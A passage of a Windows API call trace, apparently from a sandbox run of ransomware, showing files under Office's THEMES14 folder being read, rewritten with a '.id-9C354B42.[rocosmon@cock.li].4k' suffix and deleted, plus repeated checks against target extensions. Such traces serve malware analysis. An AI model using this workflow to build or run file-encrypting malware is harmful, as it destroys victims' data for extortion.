	[0102.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0102.404] lstrlenW (lpString=".1cd") returned 4
	[0102.404] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.404] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77
	[0102.404] lstrlenW (lpString=".jpg") returned 4
	[0102.404] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.404] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0102.405] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0102.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0102.405] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2848) returned 1
	[0102.405] CloseHandle (hObject=0x1e8) returned 1
	[0102.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20
	[0102.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8
	[0102.405] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.405] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.405] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0102.407] GetLastError () returned 0x0
	[0102.407] ReadFile (in: hFile=0x1e8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0xb20, lpOverlapped=0x0) returned 1
	[0102.432] WriteFile (in: hFile=0x1f0, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xb30, lpOverlapped=0x0) returned 1
	[0102.432] ReadFile (in: hFile=0x1e8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.432] WriteFile (in: hFile=0x1f0, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0102.433] SetEndOfFile (hFile=0x1f0) returned 1
	[0102.433] CloseHandle (hObject=0x1f0) returned 1
	[0102.433] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.433] SetEndOfFile (hFile=0x1e8) returned 1
	[0102.434] CloseHandle (hObject=0x1e8) returned 1
	[0102.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.434] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1
	[0102.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0102.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0102.434] lstrlenW (lpString=".doc") returned 4
	[0102.434] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.434] lstrlenW (lpString=".docx") returned 5
	[0102.434] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.434] lstrlenW (lpString=".pdf") returned 4
	[0102.434] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.434] lstrlenW (lpString=".xls") returned 4
	[0102.434] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.434] lstrlenW (lpString=".xlsx") returned 5
	[0102.434] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.435] lstrlenW (lpString=".ppt") returned 4
	[0102.435] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0102.435] lstrlenW (lpString=".zip") returned 4
	[0102.435] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.435] lstrlenW (lpString=".rar") returned 4
	[0102.435] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.435] lstrlenW (lpString=".bz2") returned 4
	[0102.435] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.435] lstrlenW (lpString=".7z") returned 3
	[0102.435] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0102.435] lstrlenW (lpString=".dbf") returned 4
	[0102.435] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0102.435] lstrlenW (lpString=".1cd") returned 4
	[0102.435] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0102.435] lstrlenW (lpString=".jpg") returned 4
	[0102.435] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0102.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0102.435] lstrlenW (lpString=".doc") returned 4
	[0102.435] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.435] lstrlenW (lpString=".docx") returned 5
	[0102.435] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.435] lstrlenW (lpString=".pdf") returned 4
	[0102.435] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.435] lstrlenW (lpString=".xls") returned 4
	[0102.435] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.435] lstrlenW (lpString=".xlsx") returned 5
	[0102.435] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.436] lstrlenW (lpString=".ppt") returned 4
	[0102.436] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0102.436] lstrlenW (lpString=".zip") returned 4
	[0102.436] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.436] lstrlenW (lpString=".rar") returned 4
	[0102.436] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.436] lstrlenW (lpString=".bz2") returned 4
	[0102.436] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.436] lstrlenW (lpString=".7z") returned 3
	[0102.436] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0102.436] lstrlenW (lpString=".dbf") returned 4
	[0102.436] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0102.436] lstrlenW (lpString=".1cd") returned 4
	[0102.436] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72
	[0102.436] lstrlenW (lpString=".jpg") returned 4
	[0102.436] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.436] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0102.436] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0102.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0102.469] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2181) returned 1
	[0102.469] CloseHandle (hObject=0x1d0) returned 1
	[0102.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 0x20
	[0102.469] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0102.469] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.470] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.470] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0102.481] GetLastError () returned 0x0
	[0102.481] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x885, lpOverlapped=0x0) returned 1
	[0102.517] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x890, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x890, lpOverlapped=0x0) returned 1
	[0102.518] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.518] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0102.518] SetEndOfFile (hFile=0x21c) returned 1
	[0102.518] CloseHandle (hObject=0x21c) returned 1
	[0102.519] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.519] SetEndOfFile (hFile=0x1d0) returned 1
	[0102.519] CloseHandle (hObject=0x1d0) returned 1
	[0102.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.520] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blends\\preview.gif")) returned 1
	[0102.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0102.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0102.520] lstrlenW (lpString=".doc") returned 4
	[0102.520] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.520] lstrlenW (lpString=".docx") returned 5
	[0102.520] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.520] lstrlenW (lpString=".pdf") returned 4
	[0102.520] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.520] lstrlenW (lpString=".xls") returned 4
	[0102.520] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.520] lstrlenW (lpString=".xlsx") returned 5
	[0102.520] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.520] lstrlenW (lpString=".ppt") returned 4
	[0102.520] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.520] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0102.520] lstrlenW (lpString=".zip") returned 4
	[0102.520] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.520] lstrlenW (lpString=".rar") returned 4
	[0102.520] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.520] lstrlenW (lpString=".bz2") returned 4
	[0102.521] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.521] lstrlenW (lpString=".7z") returned 3
	[0102.521] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0102.521] lstrlenW (lpString=".dbf") returned 4
	[0102.521] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0102.521] lstrlenW (lpString=".1cd") returned 4
	[0102.521] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0102.521] lstrlenW (lpString=".jpg") returned 4
	[0102.521] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0102.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0102.521] lstrlenW (lpString=".doc") returned 4
	[0102.521] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.521] lstrlenW (lpString=".docx") returned 5
	[0102.521] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.521] lstrlenW (lpString=".pdf") returned 4
	[0102.521] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.521] lstrlenW (lpString=".xls") returned 4
	[0102.521] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.521] lstrlenW (lpString=".xlsx") returned 5
	[0102.521] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.521] lstrlenW (lpString=".ppt") returned 4
	[0102.521] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.521] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0102.521] lstrlenW (lpString=".zip") returned 4
	[0102.521] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.521] lstrlenW (lpString=".rar") returned 4
	[0102.521] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.521] lstrlenW (lpString=".bz2") returned 4
	[0102.522] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.522] lstrlenW (lpString=".7z") returned 3
	[0102.522] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0102.522] lstrlenW (lpString=".dbf") returned 4
	[0102.522] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0102.522] lstrlenW (lpString=".1cd") returned 4
	[0102.522] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.522] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\PREVIEW.GIF") returned 74
	[0102.522] lstrlenW (lpString=".jpg") returned 4
	[0102.522] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.522] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0102.522] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0102.522] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0102.522] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=33009) returned 1
	[0102.522] CloseHandle (hObject=0x1d0) returned 1
	[0102.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 0x20
	[0102.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0102.523] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.523] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.523] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0102.523] GetLastError () returned 0x0
	[0102.523] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x80f1, lpOverlapped=0x0) returned 1
	[0102.578] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x8100, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x8100, lpOverlapped=0x0) returned 1
	[0102.580] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.580] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0102.580] SetEndOfFile (hFile=0x21c) returned 1
	[0102.580] CloseHandle (hObject=0x21c) returned 1
	[0102.580] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.580] SetEndOfFile (hFile=0x1d0) returned 1
	[0102.581] CloseHandle (hObject=0x1d0) returned 1
	[0102.581] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.581] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png")) returned 1
	[0102.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0102.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0102.582] lstrlenW (lpString=".doc") returned 4
	[0102.582] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.582] lstrlenW (lpString=".docx") returned 5
	[0102.582] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.582] lstrlenW (lpString=".pdf") returned 4
	[0102.582] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.582] lstrlenW (lpString=".xls") returned 4
	[0102.582] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.582] lstrlenW (lpString=".xlsx") returned 5
	[0102.582] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.582] lstrlenW (lpString=".ppt") returned 4
	[0102.582] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0102.582] lstrlenW (lpString=".zip") returned 4
	[0102.582] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.582] lstrlenW (lpString=".rar") returned 4
	[0102.582] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.582] lstrlenW (lpString=".bz2") returned 4
	[0102.582] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.582] lstrlenW (lpString=".7z") returned 3
	[0102.582] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0102.582] lstrlenW (lpString=".dbf") returned 4
	[0102.582] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0102.583] lstrlenW (lpString=".1cd") returned 4
	[0102.583] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0102.583] lstrlenW (lpString=".jpg") returned 4
	[0102.583] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0102.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0102.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0102.583] lstrlenW (lpString=".doc") returned 4
	[0102.583] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.583] lstrlenW (lpString=".docx") returned 5
	[0102.583] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.583] lstrlenW (lpString=".pdf") returned 4
	[0102.583] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.583] lstrlenW (lpString=".xls") returned 4
	[0102.583] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.583] lstrlenW (lpString=".xlsx") returned 5
	[0102.583] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.583] lstrlenW (lpString=".ppt") returned 4
	[0102.583] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG") returned 77
	[0102.583] lstrlenW (lpString=".zip") returned 4
	[0102.583] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.583] lstrlenW (lpString=".rar") returned 4
